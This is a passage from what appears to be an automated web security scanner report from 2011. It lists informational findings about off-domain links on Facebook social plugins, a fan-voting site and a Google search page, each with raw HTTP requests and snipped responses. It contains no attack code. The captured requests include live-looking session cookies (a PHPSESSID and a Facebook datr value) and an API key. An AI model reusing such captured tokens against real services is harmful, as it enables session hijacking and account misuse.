User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.117.47
X-Cnection: close
Date: Sat, 14 May 2011 10:24:22 GMT
Content-Length: 11931

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
</title>

<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js"></script>
...[SNIP]...
</script>
<link rel="search" type="application/opensearchdescription+xml" href="http://static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico" /></head>
...[SNIP]...
<a href="http://www.facebook.com/wsjonline" target="_blank"><img class="profileimage img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/203544_8304333127_7475373_q.jpg" alt="The Wall Street Journal" /></a>
...[SNIP]...
<a href="" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/abhinav.baloni" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/186478_1589216371_7816596_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100002435430258" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100000935620125" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/187679_100000935620125_199020_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=714192333" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/174506_714192333_8383371_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/sharman01" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/187681_100001812303602_2813347_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/chathurangeonline" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/161340_1736891671_8067063_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=528956513" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/173910_528956513_3254332_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/profile.php?id=100001562333104" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/41676_100001562333104_5920_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/sandy.cha1" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/186050_516132782_7542802_q.jpg" /><div class="name">
...[SNIP]...
<a href="http://www.facebook.com/nsugavanam" target="_blank"><img class="img" src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/48818_100000305828363_6513332_q.jpg" /><div class="name">
...[SNIP]...

19.135. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-snc4/161340_1736891671_8067063_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/161589_100001611827221_8038739_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186286_100002055012310_4102878_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186478_1589216371_7816596_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/187679_100000935620125_199020_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/187681_100001812303602_2813347_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/203544_8304333127_7475373_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41676_100001562333104_5920_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/48818_100000305828363_6513332_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/48899_1376467583_1293419_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css
http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js
http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css
http://static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

GET /plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

19.136. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df98b64dd4%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703864204576321552255041680.html%3Fmod%3DWSJ_hp_LEFTTopStories&layout=standard&locale=en_US&node_type=link&sdk=joey&send=true&show_faces=true&width=450

The response contains the following links to other domains:

http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/-bv7QJTbOXU.css
http://static.ak.fbcdn.net/rsrc.php/v1/yh/r/HD3OAbjOVTn.css

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df98b64dd4%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703864204576321552255041680.html%3Fmod%3DWSJ_hp_LEFTTopStories&layout=standard&locale=en_US&node_type=link&sdk=joey&send=true&show_faces=true&width=450 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

19.137. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?id=100484820802&width=230&connections=0&stream=false&header=false&height=62

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-snc4/50276_100484820802_1716483_q.jpg
http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css
http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js
http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css
http://static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

Response

19.138. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?id=286893159420&width=250&connections=0&stream=false&header=false&height=62

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-snc4/23301_286893159420_2873_q.jpg
http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css
http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js
http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css
http://static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml
http://static.ak.fbcdn.net/rsrc.php/yi/r/q9U99v3_saj.ico

Request

GET /plugins/likebox.php?id=286893159420&width=250&connections=0&stream=false&header=false&height=62 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

19.139. http://www.facebook.com/plugins/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/recommendations.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/recommendations.php?site=www.marketwatch.com&width=377&height=300&header=false&colorscheme=light&font=arial

The response contains the following links to other domains:

http://ei.marketwatch.com/Multimedia/2011/04/25/Photos/MD/MW-AJ830_china__20110425083840_MD.jpg
http://ei.marketwatch.com/Multimedia/2011/05/05/Photos/MD/MW-AK069_pento__20110505114316_MD.jpg
http://ei.marketwatch.com/Multimedia/2011/05/06/Photos/MD/MW-AK082_payrol_20110506095750_MD.jpg
http://s.marketwatch.com/public/resources/MWimages/MW-AE356_fb_mw__MA_20100420181620.jpg
http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css
http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js
http://static.ak.fbcdn.net/rsrc.php/v1/yH/r/eIpbnVKI9lR.png
http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css
http://www.marketwatch.com/story/crude-oil-extends-fall-in-asia-trading-hours-2011-05-05
http://www.marketwatch.com/story/double-dip-recession-is-now-undeniable-2011-05-05
http://www.marketwatch.com/story/imf-bombshell-age-of-america-about-to-end-2011-04-25
http://www.marketwatch.com/story/osama-bin-laden-is-dead-reports-2011-05-01-2321470
http://www.marketwatch.com/story/us-economy-adds-244000-jobs-in-april-2011-05-06
http://www.marketwatch.com/story/us-gets-c-credit-rating-lower-than-mexico-2011-04-28

Request

GET /plugins/recommendations.php?site=www.marketwatch.com&width=377&height=300&header=false&colorscheme=light&font=arial HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.179.112
X-Cnection: close
Date: Sat, 14 May 2011 10:14:54 GMT
Content-Length: 11630

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
</title>
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js"></script>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_60ad055e884f8ad1"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://www.marketwatch.com/story/imf-bombshell-age-of-america-about-to-end-2011-04-25" title="IMF bombshell: Age of America nears end Brett Arends' ROI" target="_top"><img class="img" src="http://ei.marketwatch.com/Multimedia/2011/04/25/Photos/MD/MW-AJ830_china__20110425083840_MD.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://www.marketwatch.com/story/imf-bombshell-age-of-america-about-to-end-2011-04-25" target="_top">IMF bombshell: Age of America nears end Brett Arends' ROI</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_32977b1b8f1122d9"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://www.marketwatch.com/story/us-gets-c-credit-rating-lower-than-mexico-2011-04-28" title="U.S. gets C credit rating, lower than Mexico" target="_top"><img class="img" src="http://s.marketwatch.com/public/resources/MWimages/MW-AE356_fb_mw__MA_20100420181620.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://www.marketwatch.com/story/us-gets-c-credit-rating-lower-than-mexico-2011-04-28" target="_top">U.S. gets C credit rating, lower than Mexico</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_2067800a70a4576"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://www.marketwatch.com/story/crude-oil-extends-fall-in-asia-trading-hours-2011-05-05" title="Oil slides 8.6% on demand fears, metals selloff Futures Movers" target="_top"><img class="img" src="http://s.marketwatch.com/public/resources/MWimages/MW-AE356_fb_mw__MA_20100420181620.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://www.marketwatch.com/story/crude-oil-extends-fall-in-asia-trading-hours-2011-05-05" target="_top">Oil slides 8.6% on demand fears, metals selloff Futures Movers</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_571091dc004f4bde"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://www.marketwatch.com/story/double-dip-recession-is-now-undeniable-2011-05-05" title="Double-dip recession is now undeniable Outside the Box" target="_top"><img class="img" src="http://ei.marketwatch.com/Multimedia/2011/05/05/Photos/MD/MW-AK069_pento__20110505114316_MD.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://www.marketwatch.com/story/double-dip-recession-is-now-undeniable-2011-05-05" target="_top">Double-dip recession is now undeniable Outside the Box</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_de0fb3e6fdf6a19"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://www.marketwatch.com/story/us-economy-adds-244000-jobs-in-april-2011-05-06" title="U.S. economy adds 244,000 jobs in April Economic Report" target="_top"><img class="img" src="http://ei.marketwatch.com/Multimedia/2011/05/06/Photos/MD/MW-AK082_payrol_20110506095750_MD.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://www.marketwatch.com/story/us-economy-adds-244000-jobs-in-april-2011-05-06" target="_top">U.S. economy adds 244,000 jobs in April Economic Report</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_b0a3cb5e7543343"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://www.marketwatch.com/story/osama-bin-laden-is-dead-reports-2011-05-01-2321470" title="Osama bin Laden is dead: Obama" target="_top"><img class="img" src="http://s.marketwatch.com/public/resources/MWimages/MW-AE356_fb_mw__MA_20100420181620.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://www.marketwatch.com/story/osama-bin-laden-is-dead-reports-2011-05-01-2321470" target="_top">Osama bin Laden is dead: Obama</a>
...[SNIP]...
<a class="UIImageBlock_Image UIImageBlock_ICON_Image" target="_blank" href="http://developers.facebook.com/plugins/?footer=2" tabindex="-1"><img class="img" src="http://static.ak.fbcdn.net/rsrc.php/v1/yH/r/eIpbnVKI9lR.png" width="14" height="14" /></a>
...[SNIP]...

19.140. http://www.facebook.com/widgets/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/widgets/recommendations.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/widgets/recommendations.php?header=false&height=300&width=377&site=online.wsj.com&border_color=white

The response contains the following links to other domains:

http://m.wsj.net/video/20110513/051311punjab/051311punjab_115x65.jpg
http://online.wsj.com/article/SB10001424052748703730804576317140858893466.html
http://online.wsj.com/article/SB10001424052748703730804576319043572865406.html
http://online.wsj.com/article/SB10001424052748703730804576320090297554026.html
http://online.wsj.com/article/SB10001424052748703864204576319570556983628.html
http://online.wsj.com/article/SB10001424052748704681904576317781140034982.html
http://online.wsj.com/video/punjab-india-financially-stilted-state/B60DEF0B-54C3-44B4-BD59-FABD1CE237CE.html
http://s.wsj.net/public/resources/images/ED-AN564_laffer_A_20110512175855.jpg
http://s.wsj.net/public/resources/images/OB-NW944_0512as_A_20110512223843.jpg
http://s.wsj.net/public/resources/images/P1-BA671A_Flipo_A_20110512193318.jpg
http://s.wsj.net/public/resources/images/P1-BA673_AIDS_A_20110512193444.jpg
http://s.wsj.net/public/resources/images/WK-AX847_SP_MAI_A_20110512174401.jpg
http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css
http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js
http://static.ak.fbcdn.net/rsrc.php/v1/yH/r/eIpbnVKI9lR.png
http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css

Request

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.53.87.43
X-Cnection: close
Date: Sat, 14 May 2011 10:09:12 GMT
Content-Length: 11387

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
</title>
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/y1/r/ZAHAqkTqkUj.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js"></script>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_5be56c54717e0b39"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://online.wsj.com/article/SB10001424052748703864204576319570556983628.html" title="Great Hipster Soccer Showdown" target="_top"><img class="img" src="http://s.wsj.net/public/resources/images/WK-AX847_SP_MAI_A_20110512174401.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://online.wsj.com/article/SB10001424052748703864204576319570556983628.html" target="_top">Great Hipster Soccer Showdown</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_5e891f5bcdfafafe"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://online.wsj.com/article/SB10001424052748703730804576320090297554026.html" title="Kutcher Near Deal to Star in 'Two and a Half Men'" target="_top"><img class="img" src="http://s.wsj.net/public/resources/images/OB-NW944_0512as_A_20110512223843.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://online.wsj.com/article/SB10001424052748703730804576320090297554026.html" target="_top">Kutcher Near Deal to Star in 'Two and a Half Men'</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_6c2461672e768883"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://online.wsj.com/article/SB10001424052748704681904576317781140034982.html" title="Up in Arms Over Finger Pointing" target="_top"><img class="img" src="http://s.wsj.net/public/resources/images/P1-BA671A_Flipo_A_20110512193318.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://online.wsj.com/article/SB10001424052748704681904576317781140034982.html" target="_top">Up in Arms Over Finger Pointing</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_54fff986932c2aaf"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://online.wsj.com/article/SB10001424052748703730804576317140858893466.html" title="Laffer and Moore: Boeing and the Union Berlin Wall" target="_top"><img class="img" src="http://s.wsj.net/public/resources/images/ED-AN564_laffer_A_20110512175855.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://online.wsj.com/article/SB10001424052748703730804576317140858893466.html" target="_top">Laffer and Moore: Boeing and the Union Berlin Wall</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_493ea94e3af6366a"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://online.wsj.com/article/SB10001424052748703730804576319043572865406.html" title="Scientists See Breakthrough in Global AIDS Battle" target="_top"><img class="img" src="http://s.wsj.net/public/resources/images/P1-BA673_AIDS_A_20110512193444.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://online.wsj.com/article/SB10001424052748703730804576319043572865406.html" target="_top">Scientists See Breakthrough in Global AIDS Battle</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_eaac7b00f4cc4c4"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" href="http://online.wsj.com/video/punjab-india-financially-stilted-state/B60DEF0B-54C3-44B4-BD59-FABD1CE237CE.html" title="Punjab: India's Financially Stilted State?" target="_top"><img class="img" src="http://m.wsj.net/video/20110513/051311punjab/051311punjab_115x65.jpg" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://online.wsj.com/video/punjab-india-financially-stilted-state/B60DEF0B-54C3-44B4-BD59-FABD1CE237CE.html" target="_top">Punjab: India's Financially Stilted State?</a>
...[SNIP]...
<a class="UIImageBlock_Image UIImageBlock_ICON_Image" target="_blank" href="http://developers.facebook.com/plugins/?footer=2" tabindex="-1"><img class="img" src="http://static.ak.fbcdn.net/rsrc.php/v1/yH/r/eIpbnVKI9lR.png" width="14" height="14" /></a>
...[SNIP]...

19.141. http://www.fanpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.fanpeeps.com/?pid=14

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js
http://www.cerebel.com/
http://www.idolpeeps.com/favicon.png
http://www.idolpeeps.com/oauth2/images/lighter.png

Request

GET /?pid=14 HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=9a60411f58fb3454c5f556257e253120; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.5.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:59 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 101385

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<meta name="Description" content="Track twitter conversations about each Major League baseball team and American Idol contestant and vote on a ten point scale from your mobile phone via twitter." />
   <link rel="shortcut icon" href="http://www.idolpeeps.com/favicon.png" ztype="image/vnd.microsoft.icon">

   <!script type="text/javascript" src="/prototype.js">
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...
<a href=/oauth2/redirect.php><img src=http://www.idolpeeps.com/oauth2/images/lighter.png></a>
...[SNIP]...
<div id="footer">
   <a href=http://www.cerebel.com>CereBel Corporation</a>
...[SNIP]...

19.142. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/search

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=LuxiteAuth

The response contains the following links to other domains:

http://81.88.216.104/domains/vibrators.ru/
http://bizinformation.org/us/www.dinse.com
http://bizinformatsiya.ru/www.lakokraska-schelkovo.ru
http://bizinformatsiya.ru/www.vibrators.ru
http://dawhois.com/site/dinse.com.html
http://phrase-history.com/domains/tzh.ru/
http://phrase-history.ru/domains/alef.ru/
http://webcache.googleusercontent.com/search?q=cache:05JB5jJ7owQJ:www.seo-tools.com.ua/analysis/Default.aspx%3Fsite%3Dwww.vibrators.ru+LuxiteAuth&cd=4&hl=en&ct=clnk&gl=us&source=www.google.com
http://webcache.googleusercontent.com/search?q=cache:A4jgALM6MlcJ:www.bname.ru/analysis/alef.ru+LuxiteAuth&cd=8&hl=en&ct=clnk&gl=us&source=www.google.com
http://webcache.googleusercontent.com/search?q=cache:HEvTHlD35NsJ:bizinformation.org/us/www.dinse.com+LuxiteAuth&cd=5&hl=en&ct=clnk&gl=us&source=www.google.com
